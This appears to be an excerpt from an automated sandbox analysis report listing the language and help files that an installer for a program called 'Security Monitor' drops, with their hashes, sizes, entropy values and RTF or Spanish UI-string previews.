Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epnBBbq1FkSkek9kukBkrkSkP9MkSI6Ioum:qq4ABXIA9N
MD5:	A408ECED60101314102C175C7FE3E9D7
SHA1:	EBD937ECBFE7FDCC84DF27E7AEED4AC53FAA488A
SHA-256:	2649AAF142678E0D5B5DBEEC454E5D04DD191CE636F6EC5231A7A633C754252C
SHA-512:	B5E5B24DAF9BB0EC263E37AB11B1A66F50C3C4742F3EDB674AEF6FCA8B1F1C566D2F5CF59C9CA95779C9D055CC58B80770B9374EE605D110312F0C6E761E0BA0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43030
Entropy (8bit):	5.037181036721856
Encrypted:	false
SSDEEP:	768:qqel4jeXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3TRbyqfVHVU3icdXPIZnZ/6A9C:qq3pDIA9C
MD5:	67B098FD7DC727E81D9D9FB9A520E1CE
SHA1:	F6D0526FD0E5F10956988840D866DD2222ABF783
SHA-256:	C3AF56E516BBA805D97730CC1303C32539C72A4E93F598F599EE4DE1756AB0BF
SHA-512:	65718F4601D9636CE73B3B5D2E5EDC62B34DAE818C7450033BEC2221916E8AC81316D6EB3F3690186E3A505F82192A4C1EE34D12606690B3B266A2BEDE2F7DEA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19915
Entropy (8bit):	4.91205436276521
Encrypted:	false
SSDEEP:	384:URE/HLpJKNLC8/c0vrhUhdpZ/i7fTfHV8Vpx+M26iYi/pVF8g2EM2luoEJroH:Ue4L5c0dffTfHV8Vpx126PGcIMoH
MD5:	86FB78830003953DE6F23C5978938899
SHA1:	CD181B6DD4049697DD2E824DCABB57D9B21CCE0A
SHA-256:	0E132271314F42D37505EA9844E8EE102B9A0FC65946852BE8150CD088BB8357
SHA-512:	8862242298848BF0096B63F5F0FDDC70C446239910DD16F7B5AB604414CB6D10DFB636A7BC7AD1D66F33B6D88DCC08EE95F0B0B04E686E74E68FFBF9EC70C47A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=" Empec."..tbStartHint="Habilite el registro"..tbStop="Det.ngase"..tbStopHint="Desactive el registro"..tbFind="Encuentre"..tbFindHint="Busque la informaci.n del registro"..tbSetting="Ajustes"..tbSettingHint="Ajustes del programa"..tbAbout="Acerca de"..tbAboutHint="Acerca de / informaci.n de registro"..tbHomePage="P.gina Principal"..tbHomePageHint="Ir a la P.gina Principal del programa"..tbToday="Hoy"..tbTodayHint="Ir al registro de hoy"..tbHide="Oculte"..tbHideHint="El modo invisible (ninguno icono en la bandeja del sistema)"..tbMinimize="Minimice"..tbMinimizeHint="Minimizar a la bandeja"..tbExit="Salir"..tbExitHint="Salir y parada del registro"..gbLog="Registro de eventos"..tCurrLogSize="Tama.o del registro (Mb)"..tCu

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45050
Entropy (8bit):	5.040256574487364
Encrypted:	false
SSDEEP:	768:VkGN4JtHiBkyKWm+m2NjrOX/zJnKujtCUcFsWjeQ2CzLZ7RntKuG5QZ2y3OE50sq:VkNk4TF
MD5:	94F6C834BB72118F52C6E4AFA65342BF
SHA1:	5066CA137EA8AE0F1CFDB50D364C0A85BF31B98D
SHA-256:	E950C0B4282DDB4BBBCA54BB72CB789B117690E1EFA15D7BE6C59BE5D77A65EA
SHA-512:	80147E578792B71F77E06659978C233E4BE7AB1352B056DEC3BCA74A0E5F5A6386983B5935467BDDA4DDF34CD64304843903A85DAC3C813DCF49457810E670E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37942
Entropy (8bit):	5.034259997396652
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kLuuXprzghApkH9bEJzKv3TFeq4T5:VkHwd4T5
MD5:	A4F051708B7CC7EC3B58CB0A01A56DAA
SHA1:	4C4D011C0EFC5497763698DD21BE21D61553EE51
SHA-256:	E5AC50A87DD55807C9FC5BDF12C6317581F50456A9D99EF92794F5C089748F6E
SHA-512:	EFEF770ED92BB6F5D76AB7613ADF47ADF264CBBBFB741D7514A9424D77055CA01DCD1462DAFA2A8CF9E9FAF36931F78865430FE62F30DC77A9F18E0A28C8EC37
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37309
Entropy (8bit):	5.035450399129397
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XcOl66fSndrdyzotzrcq4Ta:VkHHu4Ta
MD5:	C121D028E5250297A8B932011A8122F9
SHA1:	6E9E2CAE5D2200213EA2378E2F02E4237F0EA7F1
SHA-256:	8246FF97F5D8EA82D7D9C00EC53309DC207026DD6B406B7B77E873563AB424DF
SHA-512:	F93C9D589271DA049E037F0491E9B34CA1574113F488DDF302370BB1BC4CE55985A27A294B37A50100BEA4C9E209B5C6D8020843BD404B571B99E112E6F1CB3D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36554
Entropy (8bit):	5.033242301326159
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVUO9HZYSEWsIZ/6A9V:w4G3UntIA9V
MD5:	60CFC0AB1C3A23B456BDEB0DD8010A83
SHA1:	E2EB5D85ECC146BA756BB812247090D421D8F906
SHA-256:	FB9A493F603C0027F6782538022DA6D82577FC0CE69146E66076EF94440B7D18
SHA-512:	80ABA72B39079A7B4378C0B106CBB0098AE94BEAC586DC34BE10F5CE2D7F0193B20A215F0D98D08A709F934CB1AC05FCE6B15270D3E855F01BD9C814D95AA4AB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78220
Entropy (8bit):	4.998804403921912
Encrypted:	false
SSDEEP:	1536:w4NORVKcNG59+ppOBpvKeGpWONtetjIC1uCLCCiOBG/60Oc5IRcofyW26IA9w:w2GVFU59+/O3vKeO+5G
MD5:	284D049932C02AFE360E12F1ACBBEB89
SHA1:	F5D588FE773BF163D5FE123B38FCAF70AF53F786
SHA-256:	9AD1BA3EF54FEA19A88AAABBAF13DBD8C798DA68B989F4E321594E54A5DB2AF6
SHA-512:	AF4E3F43E6A258E8E45A2983A2DC1CE29190163B2DCDE25DC4AB3BFF4F1FC6E07E14BB4023FC5A7F7C008463BD1F8D7ADCB12D1FDAFD6503B41E94D2E98D74F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-0BO2D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45797
Entropy (8bit):	5.048112106920449
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmms0Fzyf/8Ze52zxn1yIATqQfIUj1gCK/:VklnIsM4T4
MD5:	B282950E706D40B97814A1BE2F1513FE
SHA1:	82318E2310302B88264AF88800CB5A6762446C20
SHA-256:	C93DEB9DF3F1878F380EC3C9348E22E07A5A38CC005D180FFAE3EF7C663BA567
SHA-512:	0A5128EE9895BDB59F247B49B105E990675E27A9F93F006E88500CEBE5084722DD4D1CC74CDC31AC65AAAE0962D4FA2F1EDB96C26AA4CBE733054B35D047C49B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-1S7FJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	5.0440980385984355
Encrypted:	false
SSDEEP:	768:Vk13ixj20TaGC5X2kEDYd/awBGkRYoGPLo9C4Yhn8uw8h33SSnHDlM85baNRWmgA:VkGt4T3
MD5:	8F7F1A8853F08FDC85B12A89E08CF432
SHA1:	D2F7DCC9250548EA79E9AB2148E232B183527D2D
SHA-256:	519A67854D21C49B501187DC6DE66AB09C403ABE68F5E3F20ECEAFD24FD92A51
SHA-512:	871B3634AB86A66E58424D45984EF0EA8973220D3A17F58B4CD399807045E5A6C72505F82E40A2789BBCF62C219E1EBBFD109DB29A0ECD3433AD04A47434A48A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-4EDJE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55781
Entropy (8bit):	4.974374262253835
Encrypted:	false
SSDEEP:	768:wqFkd4JQJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL02GZLu5UZcHXqjHZCNVsMQgB:wqdThL0kIIA9Y
MD5:	0BF8EF2B17B829705BB1D37632503C1F
SHA1:	5E969D18969120A577205E785D8641CAD1037AA5
SHA-256:	665B118FF5A8EA42EC98EB73371D9F28DAA619617F014E4C6FB9F4281521D391
SHA-512:	6FA8B101F982EC8CB3987057591C90300C0C158A74D4DBCEFF179E994E9A560C5EF0F130314639B751B01501465B4D55C8DA68F95FF1F9E97174B3A8CF264AB3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-9S883.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68966
Entropy (8bit):	4.980232511599592
Encrypted:	false
SSDEEP:	768:wqFy4FxrUJHT2njX8x3TLjwUtqYepAkVZEdvI9vTkdr9oY7sad4m11F8yO61x3fj:wqJ7RTkdtIA9J
MD5:	84C18085AA83A3983748A25518050BF5
SHA1:	92861E7CC4A6C458188EE78856C6D542EC279BD8
SHA-256:	BB5C8F79F380A101456F8C6157E9999F906CE697B357789DB415B5182D4BBA21
SHA-512:	A8477B72B61D832DB1C72074E70E6A3752F67C21A9B6DB02261CD155AD583806DFA866A4533DB2FFDE9D2B978C4972E3B4FA0BC06AC2E91F4F207C8468653A3B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-ANRBD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78220
Entropy (8bit):	4.998804403921912
Encrypted:	false
SSDEEP:	1536:w4NORVKcNG59+ppOBpvKeGpWONtetjIC1uCLCCiOBG/60Oc5IRcofyW26IA9w:w2GVFU59+/O3vKeO+5G
MD5:	284D049932C02AFE360E12F1ACBBEB89
SHA1:	F5D588FE773BF163D5FE123B38FCAF70AF53F786
SHA-256:	9AD1BA3EF54FEA19A88AAABBAF13DBD8C798DA68B989F4E321594E54A5DB2AF6
SHA-512:	AF4E3F43E6A258E8E45A2983A2DC1CE29190163B2DCDE25DC4AB3BFF4F1FC6E07E14BB4023FC5A7F7C008463BD1F8D7ADCB12D1FDAFD6503B41E94D2E98D74F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-BLE6M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44885
Entropy (8bit):	5.051249541456295
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoFleTHHqaXD8TfLlCeTxDn4UfvUwNi:VklnIqN4Tm
MD5:	26DF31606E6051A5AB82AFA526964B5B
SHA1:	E567611817B3963033B65E615EE4ABB3FCE7499A
SHA-256:	8B807D3D26611E1DD448B29E0626173AE0C4077974E4BC018358536D48A6F510
SHA-512:	49BF5203F94FDB4136E58F17CFF137DD5685372A135701E22649E1B2661A3F48AD09B2FE6EDBA57AF4DD80C0766934AE2A281F845D32C9D529A3C20A3E9315F6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-CKLNR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37309
Entropy (8bit):	5.035450399129397
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XcOl66fSndrdyzotzrcq4Ta:VkHHu4Ta
